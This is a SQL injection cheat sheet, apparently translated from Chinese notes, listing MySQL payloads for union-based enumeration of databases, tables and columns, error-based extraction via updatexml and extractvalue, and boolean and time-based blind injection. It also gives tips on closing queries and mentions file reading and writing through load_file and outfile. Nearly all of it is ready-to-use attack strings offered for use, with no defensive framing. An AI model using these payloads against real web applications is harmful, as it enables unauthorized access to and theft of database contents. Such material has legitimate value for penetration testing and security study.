bypass
https://xz.aliyun.com/t/7767
ODBC: https://forum.butian.net/share/113
https://www.o2oxy.cn/2772.html
Common Payloads # Test! LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1); # UNION BASED ## List all databases union select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA # List all tables in the test database (hex works everywhere too) union select group_concat(TABLE_name) from information_schema.tables where table_schema=`test` # List all columns in (database: test, table: admin) union select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA=`test` and TABLE_NAME=`admin` UNION SELECT 1,2,group_concat( column_name,0x20)) from information_schema.columns # valid queries id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.schemata) -- + id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.tables where table_schema='security')-- # id=1' AND 1=2 union select 1,2,(select group_concat() from information_schema.columns where table_name='users') -- + - Note: group_concat can be used without GROUP BY, but it must contain column names, not subqueries - The echoed output often has a length limit # ERROR BASED (error-based injection) updatexml('2',concat('~',(select current_user()),'~'),'2')-- - extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1),'~'));-- - select from(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x )x-- - - concat can be replaced with concat_ws, and group_concat can consolidate the results # BLIND SQL injection (boolean-blind, time-based) id = 1" and sleep(0)='1' -- - id=1" and if(1=1, sleep(3) , 1 ) -- - id=1 and 1=(case when (2=2) then sleep(5) else 1 end) -- # - For blind injection, it seems you can only determine the closing character by whether a delay occurs - The statement after CASE WHEN must be wrapped in parentheses, otherwise it won't succeed # Basic information select @@basedir select @@datadir select current_user() select version() select @@version select database() select @@database # POC extractvalue(0X20, concat(0x5c, (VERSION（)),'~'));-- - For error-based injection the syntax must be error-free; close whatever needs to be closed, e.g. with a comment (-- -) Conclusion: generally, wherever blind injection works, you can also use outfile|dumpfile|load_file. Blind injection falls into two categories: boolean-based blind injection + time-based blind injection. Since there is no true/false echo — no difference whatsoever visible in the response (response includes: response size / status code / page text) — delay functions are the only option. Generally sleep and benchmark can be used as delay functions, but the article below describes a new way to introduce a delay.
...